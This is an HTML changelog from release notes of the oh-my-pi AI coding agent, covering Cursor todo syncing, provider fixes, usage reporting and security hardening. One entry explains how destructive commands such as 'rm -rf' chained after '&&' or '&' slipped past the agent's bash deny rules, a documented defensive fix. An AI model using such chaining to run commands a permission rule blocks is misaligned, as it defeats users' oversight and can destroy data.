<h3>Fixed</h3>
<ul>
<li>Fixed OpenAI Responses native history replay sending output-only <code>status</code> fields back as input, preventing <code>input[N].status</code> failures in long-running sessions. (<a href="https://github.com/can1357/oh-my-pi/pull/6513" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6513/hovercard">#6513</a> by <a href="https://github.com/Ant39140">@Ant39140</a>)</li>
<li>Cursor no longer discards a local tool result when the transport fails mid-execution. The provider waits for in-flight exec dispatches before pushing <code>done</code>, but the error path skipped that wait, so a handler decoded from the last chunk landed its result after the Agent had already finalized the call from the terminal error and cleared its buffer — losing the real outcome of a tool that may already have run side effects. Both exits now drain the same barrier.</li>
<li>Cursor exec handlers returning the bare-result form no longer record a failed call as successful. When an SDK handler returns only a protocol result (no paired <code>toolResult</code>), the synthesized transcript entry was always <code>"Tool produced no transcript result"</code> with <code>isError: false</code>, even for a <code>rejected</code> or <code>error</code> result — so Cursor saw a failure while the rebuilt transcript showed success. The synthesized entry now derives its state and message from the result's own oneof variant — including MCP, where an application-level tool failure rides inside the <code>success</code> variant as <code>is_error</code> rather than as a separate variant.</li>
<li>Fixed Cursor models silently failing to maintain the todo list. Cursor resolves its native <code>update_todos</code>/<code>read_todos</code> tools server-side, but the bridge looked for them under flattened <code>updateTodosToolCall</code>/<code>readTodosToolCall</code> properties, which a decoded <code>agent.v1.ToolCall</code> never has — the variant only arrives through the <code>tool</code> oneof — so no native todo call was ever recognized. The synthesized <code>todo</code> tool call was also emitted as locally runnable with a <code>{todos}</code> payload the local tool's schema rejects, so any update that did surface ended as a validation error and local todo state never followed Cursor's. Todo calls are now read from the oneof, both native todo blocks are marked as already-resolved, and local state is mirrored from the server's confirmed success snapshot (leaving state untouched on <code>UpdateTodosError</code>). <code>TODO_STATUS_CANCELLED</code> now maps to <code>abandoned</code> instead of reverting the task to <code>pending</code>.</li>
<li>Hardened Cursor todo mirroring against partial <code>read_todos</code> responses: a read narrowed by <code>status_filter</code>/<code>id_filter</code>, or one returning fewer rows than the server's own <code>total_count</code>, is a subset rather than the list, and is no longer treated as authoritative. Previously such a response would have deleted every task it omitted.</li>
<li>Fixed an empty <code>update_todos</code> response whose <code>total_count</code> is nonzero being mirrored as an authoritative clear, deleting every local task at once. The count-mismatch guard skipped empty responses entirely; only a matching zero count is a genuine clear now. An empty <code>read_todos</code> stays refused outright, since proto3 decodes an unset <code>total_count</code> as <code>0</code> and it cannot be told apart from a filtered read that matched nothing.</li>
<li>Fixed a Cursor todo call being left unpaired when the completion frame carried no <code>tool_call</code> at all. <code>ToolCallCompletedUpdate.tool_call</code> is optional, but the block was already marked as server-resolved by the started frame, so nothing emitted a placeholder for it and every transcript rebuild stripped the interaction. It now settles as "nothing to mirror", the same as a refused snapshot.</li>
<li>Fixed local Cursor exec calls (<code>read</code>/<code>write</code>/<code>grep</code>/<code>delete</code>/<code>bash</code>/<code>lsp</code>/MCP) vanishing from rebuilt transcripts when the tool produced no result. The assistant block is synthesized and marked server-resolved before the handler runs, so the three result-less paths — no handler installed, a handler returning nothing, and a thrown handler — left the call unpaired. Each now pairs a result carrying the same text the server receives.</li>
<li>Fixed Cursor MCP tool calls being unrecognized on the wire. <code>ToolCall.tool</code> is a protobuf oneof, so a decoded message exposes the variant as <code>{ case, value }</code> and never as a flat <code>mcpToolCall</code> property — the same trap that made native todo calls invisible while hand-shaped fixtures kept passing. Both the streamed start and the completion arg merge now go through a shared selector.</li>
<li>Fixed a streamed Cursor MCP block being named from <code>name</code> while its paired result used <code>toolName</code>, so the two disagreed whenever the server sent different values. Both now prefer <code>toolName</code>.</li>
<li>Fixed the Cursor stream emitting <code>done</code> while a tool handler decoded from the final chunk was still running. Server messages are dispatched fire-and-forget so the socket keeps draining, but nothing waited for them: when an exec request, <code>turnEnded</code> and the stream close arrived in one chunk, the turn finished before the handler produced its result, and the result missed the buffer drain that pairs it with its call. In-flight dispatches are now awaited after the transport completes.</li>
<li>Fixed a server-resolved Cursor todo call leaving its transcript block stuck pending: the synthetic completion was emitted under a freshly generated id instead of the streamed call id the interactive transcript filed the block under, so the card animated indefinitely. The settled call id is now handed to the sync handler.</li>
<li>Fixed server-resolved Cursor todo blocks disappearing from rebuilt transcripts: nothing produced a <code>toolResult</code> for them, and <code>buildSessionContext</code> strips any <code>toolCall</code> left unpaired, so the interaction vanished on reload, branch switch, or transcript rebuild. The result the host builds is now persisted verbatim — it carries the <code>details.phases</code> the todo renderer rebuilds the list from, which a summary-only result would have replayed as <code>0 tasks</code>.</li>
<li>Fixed a refused or failed Cursor todo call leaving its card animating forever. Only a successful snapshot settled the block, so a <code>read_todos</code> narrowed by a filter and a server <code>UpdateTodosError</code> both went unanswered — no <code>tool_execution_end</code>, and no <code>toolResult</code> to keep the block from being stripped on rebuild. Every completed native todo call now settles. A server error is carried through as a failed result rather than collapsed into the benign "nothing to mirror" case, which would have replayed the failure as a success.</li>
<li>Hardened Cursor todo mirroring against snapshots whose rows collide on content. Cursor's wire model identifies todos by <code>id</code> and can represent two rows sharing the same text; the local list is keyed by content alone and the <code>todo</code> tool rejects a duplicate outright, so importing such a pair would leave every task-targeted <code>done</code>/<code>drop</code>/<code>rm</code> resolving to the first row and the second unreachable. The snapshot is now refused like any other that cannot be represented locally — local state is left untouched and the call still settles as a no-op.</li>
<li>Hardened Cursor todo mirroring against ambiguous empty <code>read_todos</code> responses. <code>total_count</code> is a proto3 scalar, so an unset field decodes as <code>0</code> and is indistinguishable from a genuinely empty list; accepting <code>todos=[]</code> + <code>total_count=0</code> would clear every local task. Empty and mismatched reads are now refused — <code>update_todos</code> remains the authoritative clear path.</li>
<li>Fixed refused Cursor todo results claiming <code>"No todo changes"</code>. A server-accepted <code>update_todos</code> can still be declined locally (content collision, etc.), so the persisted fallback now reads <code>"Todo snapshot not mirrored"</code> instead of implying the remote call changed nothing.</li>
<li>Hardened Cursor todo mirroring against snapshots carrying unresolved <code>TodoItem.dependencies</code>. The wire model blocks a row behind other rows by <code>id</code>; the local list has no ids and no edges, so an imported dependent row files as plain <code>pending</code> and <code>nextActionableTask</code> then offers work the server considers blocked. Snapshots with an edge pointing at a row that is not yet <code>completed</code>/<code>abandoned</code> are now refused like any other that cannot be represented locally. Edges whose blockers already finished constrain nothing and still mirror.</li>
<li>Extended the Cursor todo <code>total_count</code> mismatch guard to <code>update_todos</code>. A partial or size-limited merge response is as incomplete as a filtered read, but the check only applied to reads, so an update returning fewer rows than its own count was mirrored as the full list and deleted every task it omitted. An empty update still syncs — it remains the authoritative clear path, unlike an ambiguous empty read.</li>
<li>Hardened Cursor todo mirroring against rows with empty <code>content</code>. <code>content</code> is a proto3 string, so a missing or default value arrives as <code>""</code>; the local list is keyed by content and rejects a falsy one before lookup, leaving the imported row unreachable to every task-targeted <code>done</code>/<code>drop</code>/<code>rm</code>. Such snapshots are now refused like any other that cannot be represented locally.</li>
<li>Fixed a deterministic circular-import TDZ that crashed <code>packages/catalog</code>'s test process with <code>ReferenceError: Cannot access 'claudeCodeVersion' before initialization</code>: <code>registry/oauth/anthropic.ts</code> imported <code>claudeCodeVersion</code> from <code>providers/anthropic.ts</code>, which transitively pulls the registry back in (<code>providers/anthropic</code> → <code>stream</code> → <code>registry</code> → <code>registry/oauth/anthropic</code>), so the module-level <code>claude-code/${claudeCodeVersion}</code> bootstrap user-agent const read the binding while <code>providers/anthropic.ts</code> was still mid-initialization. <code>claudeCodeVersion</code> now lives in a zero-import leaf module (<code>providers/claude-code-fingerprint.ts</code>) that <code>providers/anthropic.ts</code>, <code>registry/oauth/anthropic.ts</code>, and <code>usage/claude.ts</code> all import from, removing the cycle at the source rather than deferring the read.</li>
<li>Fixed a circular initialization between the Anthropic provider and OAuth registry that could throw before <code>claudeCodeVersion</code> was initialized when package tests or consumers loaded modules in parallel (<a href="https://github.com/can1357/oh-my-pi/pull/6628" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6628/hovercard">#6628</a> by <a href="https://github.com/anatoli-tsinovoy">@anatoli-tsinovoy</a>).</li>
<li>Stopped the account-level Codex <code>rate_limit.limit_reached</code> flag from being applied to individual chat windows. Codex reports one shared flag for the whole account, so a window with real headroom was marked <code>exhausted</code> because a different window (or a separate metered feature) was at its limit, which over-blocked sibling accounts during credential selection. Each window's status now reflects only its own usage</li>
<li>Scoped Codex reactive backoff per meter: a <code>usage_limit_reached</code> from a Spark request no longer persists a block that ordinary chat requests honour, and the reverse. Blocks written before scoping used a shared scope meaning "block everything", so requests still honour it and reconciliation still heals it</li>
<li>Implemented <code>scopeLimits</code> for the Codex ranking strategy so a request gates only on the windows it actually consumes: <code>-spark</code> models spend the Spark meter and every other model spends the 5h/weekly chat windows, instead of OR-ing every window and meter into one provider-wide block</li>
<li>Fixed native Anthropic adaptive-only models (Opus 4.6+, Sonnet 4.6+, Fable/Mythos 5) keeping thinking ON when reasoning was meant to be off. <code>mapOptionsForApi</code> never consulted <code>disableReasoning</code> on the Anthropic branch, so a caller-side disable left adaptive thinking at full effort; and <code>disableThinkingIfToolChoiceForced</code> deleted <code>output_config.effort</code> alongside <code>thinking</code>, which for adaptive-only models silently re-enabled adaptive thinking (a bare omission defaults to adaptive-ON). Both paths now omit <code>thinking</code> and pin the lowest adaptive effort, so <code>disableReasoning</code> and forced <code>tool_choice</code> turns (e.g. the delivery reviewer's <code>report_delivery</code>) actually suppress reasoning instead of returning a thinking block with <code>end_turn</code> (<a href="https://github.com/can1357/oh-my-pi/issues/6589" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6589/hovercard">#6589</a>).</li>
<li>Fixed Bedrock Converse dropping captured Claude thinking signatures when replaying application-inference-profile ARN models, restoring adaptive-thinking multi-turn conversations (<a href="https://github.com/can1357/oh-my-pi/issues/6610" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6610/hovercard">#6610</a>).</li>
<li>Fixed the <code>alibaba-token-plan</code> login only supporting the international Singapore endpoint, which rejected China (Beijing) Token Plan <code>sk-sp-</code> keys with <code>401 invalid_api_key</code>. Login now selects a region (International / China (Beijing) / Custom), validates the key against that region's <code>/models</code> endpoint, and stores the chosen base URL in the credential so inference and discovery both target it (<a href="https://github.com/can1357/oh-my-pi/issues/6682" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6682/hovercard">#6682</a>).</li>
<li>Fixed statusless provider capacity errors such as <code>no_capacity</code> and high-demand responses being treated as terminal instead of retryable. (<a href="https://github.com/can1357/oh-my-pi/issues/6503" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6503/hovercard">#6503</a>)</li>
<li>Fixed QwenCloud Token Plan quota reporting to call the current console usage RPC and document how to capture its optional Cookie during login.</li>
<li>Fixed Cursor exec-channel MCP calls such as <code>web_search</code> omitting <code>toolCall</code> blocks when no interaction block arrives, which rendered their tool cards below the final assistant answer or dropped them on transcript replay. (<a href="https://github.com/can1357/oh-my-pi/issues/6501" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6501/hovercard">#6501</a>)</li>
<li>Fixed Claude scoped weekly limits (e.g. <code>Claude 7 Day (Fable)</code>) with <code>is_active: false</code> being dropped by the <code>/usage</code> parser, rendering as <code>not reported</code> in <code>omp usage</code> despite carrying real utilization. Live payloads mark only the currently binding limit active — an account pinned at a 100% Fable cap reports its 77% shared weekly row as inactive too — so <code>is_active</code> signals severity ranking, not bucket existence, and is now ignored. Exhaustion gating is unchanged: tier rows still hard-block only at confirmed 100% with a future reset.</li>
<li>Fixed a TDZ crash (<code>Cannot access 'claudeCodeVersion' before initialization</code>) when <code>providers/anthropic</code> was the first module loaded: <code>providers/anthropic</code> → <code>stream</code> → <code>registry</code> → <code>registry/oauth/anthropic</code> circled back into the still-initializing provider module. The Claude Code fingerprint constants now live in the leaf module <code>providers/claude-code-fingerprint</code> (star re-exported from <code>providers/anthropic</code>, so import paths are unchanged).</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Added Claude Opus 5 model entries for Amazon Bedrock: <code>anthropic.claude-opus-5</code> plus its <code>us.</code>, <code>eu.</code>, <code>au.</code>, and <code>global.</code> regional/geo IDs.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>alibaba-token-plan</code> locking out China (Beijing) 百炼 Token Plan subscribers: the provider hardcoded the international Singapore endpoint, so Beijing-issued <code>sk-sp-</code> keys got <code>401 invalid_api_key</code>. The wire credential now carries an optional region base URL, and model discovery targets the credential's region (<a href="https://github.com/can1357/oh-my-pi/issues/6682" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6682/hovercard">#6682</a>).</li>
<li>Fixed forced <code>tool_choice</code> 400s (<code>tool_choice 'specified' is incompatible with thinking enabled</code>) on Kimi Code's Anthropic-compatible endpoint for the <code>kimi-for-coding</code>, <code>kimi-for-coding-highspeed</code>, and <code>k3</code> aliases: the Anthropic-surface compat matcher only recognised Moonshot's native <code>kimi-k2.7-code*</code> ids, so thinking-locked kimi-code models kept <code>supportsForcedToolChoice: true</code> and the forced selector was sent to a host that always thinks. These models now resolve <code>requiresThinkingEnabled</code>, keeping thinking on and downgrading forced choices to <code>auto</code>.</li>
<li>Retried empty successful provider discovery responses after the short non-authoritative interval instead of caching them for the full catalog TTL (<a href="https://github.com/can1357/oh-my-pi/issues/6620" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6620/hovercard">#6620</a>).</li>
<li>Fixed GitHub Copilot Claude models with no bundled catalog reference (e.g. a freshly served <code>claude-opus-5</code>) discovering with <code>reasoning: false</code>/<code>thinking: null</code> and no effort dial, and disappearing along with their synthesized <code>-1m</code> sibling on offline reads: reference-less Copilot models on the anthropic-messages proxy now derive the adaptive reasoning ladder from the model id, and the cache restores their compile-time <code>COPILOT_API_HEADERS</code> by value instead of dropping them as unrestorable (<a href="https://github.com/can1357/oh-my-pi/issues/6664" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6664/hovercard">#6664</a>).</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li><code>omp usage</code> now surfaces auto-disabled credentials as red <code>✗</code> tombstone rows (identity, how long ago, the shortened upstream cause — e.g. <code>Refresh token expired</code> — and a re-login hint), including a provider section when no active credential remains. User-driven tombstones (<code>replaced by newer credential</code>, <code>deleted by user</code>) and API-key rows stay hidden. Requires a broker with <code>GET /v1/credentials/disabled</code>; older brokers degrade to no tombstone rows.</li>
<li><code>omp usage</code> warns about Anthropic's ~30-day OAuth grant lifetime: accounts whose interactive login (<code>authorizedAt</code>) is within a week of the deadline get a yellow <code>⚠ re-login within &lt;time&gt;</code> line, and past-deadline accounts a red one. Grants die server-side exactly ~30 days after login regardless of refresh rotation, so this is the only warning before the broker auto-disables the row.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled Computer Use sessions now state the desktop-routing contract in the compact system prompt, retain their controller across model switches, expose effective native/function routing through <code>/computer status</code>, and emit structured lifecycle diagnostics without logging captured content.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>omp</code> refusing to start on Windows when no <code>bash.exe</code> is discoverable — most visibly with scoop-installed Git, whose manifest shims <code>sh.exe</code>/<code>git.exe</code> but never <code>bash.exe</code>, so PATH lookup missed it. Startup threw <code>No bash shell found</code> while merely building the bash tool description, even though bash tool commands always execute in the embedded brush-core shell and need no host bash. Shell discovery now also checks <code>GIT_INSTALL_ROOT</code>, scoop and per-user Git for Windows install roots, and <code>sh.exe</code> on PATH, then falls back to <code>cmd.exe</code> for the spawn-only paths (interactive PTY, ACP client terminals) instead of failing; the cmd fallback is never used to wrap user-shell commands — brush runs the POSIX line directly.</li>
<li>Fixed dragging an image whose path contains unescaped spaces (e.g. macOS screenshot names like <code>Screenshot 2026-07-24 at 1.55.12 PM.png</code>) into the terminal — the bracketed-paste image extraction route now has the same whole-text-as-path fallback as the clipboard keybind route, so both routes share identical detection and attach the image instead of inserting the raw path as literal text (<a href="https://github.com/can1357/oh-my-pi/issues/6578" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6578/hovercard">#6578</a>). The shared fallback only claims payloads that hold a single path: one carrying a second absolute-path anchor after unescaped whitespace (<code>/tmp/a.png /tmp/b shot.png</code> — dragging two files at once when either name has spaces) now pastes as text on both routes instead of being fused into one unresolvable path, which on the clipboard route previously attached nothing and swallowed the text behind an "Image not found" status.</li>
<li>Fixed transient reasonless request aborts that arrived after a tool call finished streaming ending the turn instead of entering recovery, which left edit calls and task subagents dead until the user manually resumed. The session now continues from the synthetic unexecuted tool result under the normal retry policy without replaying completed side effects (<a href="https://github.com/can1357/oh-my-pi/issues/6668" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6668/hovercard">#6668</a>).</li>
<li>Fixed prewalk silently dropping a same-model hand-off that only lowers the thinking level: the arm/switch guard compared model identity alone and discarded the resolved <code>thinkingLevel</code>, so a legal effort-downgrade target (e.g. <code>prewalk: "@task"</code> resolving to the same model at a cheaper effort) never applied and the session paid the plan/continue nudges for nothing. Prewalk now compares <code>(provider, id, effective thinking level)</code>, applies effort-only hand-offs, and emits a notice on a genuine no-op instead of returning silently (<a href="https://github.com/can1357/oh-my-pi/issues/6659" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6659/hovercard">#6659</a>).</li>
<li>Fixed <code>@czottmann/pi-automode</code> failing legacy extension validation because the pi-ai compatibility shim omitted <code>clampThinkingLevel</code>, then failing every classified tool call because <code>ctx.modelRegistry</code> omitted <code>getApiKeyAndHeaders</code>. (<a href="https://github.com/can1357/oh-my-pi/issues/6648" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6648/hovercard">#6648</a>)</li>
<li>Fixed hide-secrets placeholders conflicting with hashline edit headers by replacing hash-delimited tokens with the unambiguous <code>$$HASH$$</code> format (<a href="https://github.com/can1357/oh-my-pi/issues/6631" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6631/hovercard">#6631</a>).</li>
<li>Fixed the advisor silently swallowing its own quarantined turns: when an advisor called an ungranted tool (e.g. <code>bash</code>) its whole turn was discarded before dispatch, so its advice never reached the primary agent and the failure surfaced only in advisor diagnostics — every other non-recovering failure branch notifies the host UI, but quarantine re-primed silently with no bound. A persistently-quarantining advisor now surfaces a <code>notifyFailure</code> warning in the main UI (deduped, cleared on the next successful turn) and stops the unbounded silent re-prime loop (<a href="https://github.com/can1357/oh-my-pi/issues/6661" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6661/hovercard">#6661</a>).</li>
<li>Fixed the Docker <code>natives-builder</code> stage failing to build releases ≥ 17.1.1: the native audio stack added bindgen (miniaudio needs libclang) and a bundled-opus CMake build (needs cmake + make), none of which were installed in the slim builder image.</li>
<li>Fixed a configured <code>modelRoles.default</code> naming an extension-registered model (listed in <code>enabledModels</code>) silently running on a different in-scope provider's model. The startup model scope is resolved before extensions call <code>registerProvider()</code>, so the default role dropped out of scope and <code>buildSessionOptions</code> pinned <code>options.model</code> to the first scoped model — which marked the model "explicit" and suppressed the post-extension default-role re-resolution. A configured default that can't be found in the startup scope is now deferred so it re-resolves against the fully registered, still <code>enabledModels</code>-scoped catalog once extensions load (<a href="https://github.com/can1357/oh-my-pi/issues/6694" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6694/hovercard">#6694</a>).</li>
<li>Fixed Parakeet speech-to-text failing to load <code>sherpa-onnx-node</code> from Windows source workspaces when Bun installed the wrapper under <code>packages/coding-agent/node_modules</code> but hoisted its native platform package to the repository root (<a href="https://github.com/can1357/oh-my-pi/issues/6690" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6690/hovercard">#6690</a>).</li>
<li>Fixed <code>omp usage</code> duplicating org-less legacy accounts as "no usage data" rows whenever any sibling report carried an organization (mixed pools of pre-org-capture rows and fresh org-scoped logins): an org-less account is now covered by its own org-less report, while org-attributed sibling reports still never count as its coverage.</li>
<li><code>omp usage</code> revalidates the broker credential snapshot before rendering: live usage reports were previously paired with a disk-cached account list up to an hour old, so a just-completed re-login (org-less row upserted to org-scoped) rendered as a phantom duplicate until the cache expired.</li>
<li>Fixed Advisor requests reaching Anthropic-compatible endpoints without a provider-facing session identity: the separately constructed advisor <code>Agent</code> never had a metadata resolver installed, so its outbound requests omitted the <code>metadata.user_id</code> session id that the main and subagent agents carry. Each advisor now emits its own <code>advisorProviderSessionId</code> via <code>metadata.user_id</code>, resolved live so a token refresh surfaces the current <code>account_uuid</code>, giving Main, subagent, and Advisor traffic distinct, stable session ids for proxy routing and attribution (<a href="https://github.com/can1357/oh-my-pi/issues/6625" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6625/hovercard">#6625</a>).</li>
<li>Todo progress now stays in sync when using Cursor models: the Cursor exec bridge mirrors the provider's server-owned todo list into session state, refreshes the interactive todo panel, and persists each snapshot to the session branch so the list survives reloads, rewinds, compaction, and session switches. Existing phase grouping is preserved for tasks the session already knows. Previously the list was in-memory only and the panel stayed stale, because Cursor resolves the todo tool remotely and never emits the local <code>todo</code> tool result that both paths key off.</li>
<li>Cursor todo calls the server refuses or rejects no longer leave the todo card spinning: the bridge settles every completed native todo call, not just the ones carrying a list. Local phases and the session branch are left untouched in that case, and the settling result deliberately carries no <code>details.phases</code> — echoing the current list back would let a call that changed nothing overwrite live panel state.</li>
<li>Fixed the todo renderer emitting mirrored label text verbatim. A Cursor snapshot carries provider-authored task content, phase names, and summary text, and the renderer interpolated all of it straight into terminal output, so a label holding ANSI/C0 sequences rewrote the terminal every time the list rendered or replayed. Every display path now goes through one sanitize-and-flatten-tabs helper — task labels, blocker notes, phase headers, the zero-task fallback, and the streaming call preview — while the raw values stay untouched as the lookup keys they are.</li>
<li>Fixed a server-resolved Cursor todo card animating for the rest of the session when the server packed the call's start and completion into one HTTP/2 chunk. The bridge's <code>tool_execution_end</code> is a synchronous callback fired mid-parse, while the streamed <code>toolcall_start</code> that creates the visible card is queued on the event stream and delivered a microtask later — the interactive controller handled the completion first, found no pending card, and dropped it, leaving the card that appeared moments later with nothing to settle it. An early completion is now held and attached the moment the streamed block creates its card, settling it without repeating the panel refresh or failure warning that already fired on first arrival. Card creation from cumulative <code>message_update</code> frames is also guarded by the turn's timeline map, so a call settled mid-stream can no longer be recreated as a second, permanently pending card by the next update re-listing the same block.</li>
<li>Cursor todo failures no longer render unsanitized provider text into the status line. The bridge forwards the server's error string verbatim, so an ANSI escape or other C0/C1 control reached the terminal intact and could repaint outside the row, tabs punched holes in the single-line warning, and a long message overflowed it. The detail is now stripped of control sequences, collapsed, and truncated at the render boundary; the persisted result keeps the full-fidelity error for the transcript.</li>
<li>Fixed disabling the Advisor from <code>/settings</code> updating the persisted setting without stopping the live Advisor runtime until the session restarted: <code>SelectorController.handleSettingChange</code> had no case for <code>advisor.enabled</code>, unlike other session-managed toggles (<code>autoCompact</code>, <code>steeringMode</code>, ...), so the change never reached <code>session.setAdvisorEnabled</code>.</li>
<li>Fixed <code>bash.patterns</code> <code>deny</code>/<code>prompt</code> rules matching only against the whole command string, so a dangerous command in any non-leading position of a compound line (e.g. <code>cd /tmp &amp;&amp; rm -rf /tmp/x</code>, <code>sleep 1 &amp; rm -rf /tmp/x</code>) silently bypassed a <code>deny</code> rule and, under <code>approvalMode: yolo</code>, executed with no prompt. <code>deny</code>/<code>prompt</code> rules now also match each command segment, split with a shell-aware tokenizer that honors every command boundary (<code>&amp;&amp;</code>, <code>||</code>, <code>;</code>, <code>|</code>, single <code>&amp;</code>, subshells, newlines) and quoting; <code>allow</code> rules still require the whole command to match and never apply to compound lines (<a href="https://github.com/can1357/oh-my-pi/issues/6695" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6695/hovercard">#6695</a>).</li>
<li>Fixed <code>omp config list</code> printing credential settings in plain text. <code>auth.broker.token</code>, <code>searxng.token</code>, <code>searxng.basicPassword</code> and <code>dev.autoqaPush.token</code> were disclosed in both the human and <code>--json</code> output of a command that dumps every value without anyone asking for a specific credential. Credentials are now marked in the schema with a top-level <code>credential</code> flag, which also covers settings that have no settings-panel entry and so cannot use <code>ui.secret</code>. Human output shows dots; JSON omits <code>value</code> and marks the entry <code>redacted</code> rather than substituting a placeholder a consumer could write back. <code>omp config get &lt;path&gt;</code> is unchanged, since that is an explicit request for one value. The settings panel now derives masking from the same flag, so a credential cannot render as plain text on one surface and dots on the other. Only a credential that is actually set is redacted, so a fresh configuration still reports unset credentials as unset rather than implying every one of them is configured.</li>
<li>Fixed <code>/new</code>, <code>/drop</code>, <code>/fork</code>, and <code>/move</code> crashing or doing unnecessary work when invoked during vibe mode; interactive session transitions now show the existing exit-vibe warning and leave the session unchanged, and reset loops disable themselves instead of resubmitting into that unchanged session (<a href="https://github.com/can1357/oh-my-pi/issues/6607" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6607/hovercard">#6607</a>).</li>
<li>Fixed legacy pi extensions failing extension validation when importing <code>estimateTokens</code> from <code>@earendil-works/pi-coding-agent</code> (aliased to the legacy shim). Legacy pi re-exported <code>estimateTokens</code> from its coding-agent package root; in omp it lives in <code>@oh-my-pi/pi-agent-core/compaction</code> and the coding-agent barrel does not forward it, so the shim's <code>export * from "../index"</code> left it off the surface and a named import threw Bun's static "Export named 'estimateTokens' not found" error (e.g. <code>omp plugin install pi-blackhole</code>). The shim now re-exports it (<a href="https://github.com/can1357/oh-my-pi/issues/6583" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6583/hovercard">#6583</a>).</li>
<li>Fixed plan approval presenting a completed plan instead of the newest draft when the submitted title did not match the draft filename (<a href="https://github.com/can1357/oh-my-pi/issues/6569" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6569/hovercard">#6569</a>).</li>
<li>Fixed <code>omp auth-gateway serve</code> advertising only the compiled-in bundled catalog, so every model omp reaches through provider discovery (e.g. ids released after the build date) was invisible on <code>/v1/models</code> and returned <code>Unknown model</code> through <code>/v1/chat/completions</code> even though the same broker credential answered it in the TUI. The gateway now sources its catalog from <code>ModelRegistry</code> — the same component the TUI/CLI use (bundled + cached + discovered) — keeping the credential scoping and qualified/bare-id registration, and rebuilds it periodically so a long-lived <code>serve</code> tracks newly discovered models without a restart (<a href="https://github.com/can1357/oh-my-pi/issues/6615" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6615/hovercard">#6615</a>).</li>
<li>Fixed screenshot-relative pointer actions missing their visible targets when image transports that cannot preserve original detail silently downscaled a large computer screenshot; affected transports now establish the native coordinate frame below the verified image-resize threshold without changing the public capture defaults for other models (<a href="https://github.com/can1357/oh-my-pi/pull/6596" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6596/hovercard">#6596</a> by <a href="https://github.com/wolfiesch">@wolfiesch</a>).</li>
<li>Corrected Windows shell resolution errors to identify the active global, project, overlay, or runtime source for <code>shellPath</code>, including profile and custom configuration directories, instead of directing every user to the retired <code>settings.json</code> file (<a href="https://github.com/can1357/oh-my-pi/issues/6579" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6579/hovercard">#6579</a>).</li>
<li>Fixed <code>debug</code> (js-debug/<code>pwa-node</code>) stateful commands misrouting after launch: a lazily-attached <code>[worker N]</code> child session (or the threadless root launcher) would steal the active-session focus from the stopped script child, so <code>threads</code> listed only the worker thread, post-launch breakpoints read back as pending/unbound, and there was no way to step/continue/evaluate the script's thread. Focus now follows stops rather than registrations, and <code>threads</code> aggregates every live thread across the session tree (<a href="https://github.com/can1357/oh-my-pi/issues/6663" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6663/hovercard">#6663</a>).</li>
<li>Fixed a turn-ending provider error being truncated to 8 lines in the transcript with no way to reveal the rest: <code>AssistantMessageComponent</code> now implements <code>setExpanded</code>, so Ctrl+O (tool-output expansion) reveals the full error body and the collapsed view shows a <code>… +N more lines (Ctrl+O to expand)</code> hint (<a href="https://github.com/can1357/oh-my-pi/issues/6555" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6555/hovercard">#6555</a>).</li>
<li>Fixed direct binary updates trusting an executable that only reported the expected version. The updater now selects one exact asset from the tagged GitHub release, requires its published SHA-256 digest and size, and verifies both while streaming the download before installation. GitHub release metadata requests use <code>GITHUB_TOKEN</code> or <code>GH_TOKEN</code> when available, allowing users behind an exhausted anonymous rate limit to authenticate.</li>
<li>Documented that the non-PTY shell's bundled <code>jq</code> command is backed by jaq, including its null-indexing divergence and portable filter syntax (<a href="https://github.com/can1357/oh-my-pi/issues/6614" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6614/hovercard">#6614</a>).</li>
<li>Fixed <code>omp://tools/task.md</code> and <code>omp://tools/eval.md</code> drifting from the 17.1.3 runtime: <code>task.md</code> claimed subagents force-disable <code>async.enabled</code>/<code>bash.autoBackground.enabled</code> (both are inherited from the parent since 17.1.0) and omitted the <code>task</code> tool's <code>effort</code> parameter, and <code>eval.md</code> omitted the still-working eval <code>agent(model=…)</code> per-call model selector (<a href="https://github.com/can1357/oh-my-pi/issues/6594" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6594/hovercard">#6594</a>).</li>
<li>Fixed advisor retry amplification after transient Codex SSE socket closures by limiting each advisor-level try to one provider transport attempt.</li>
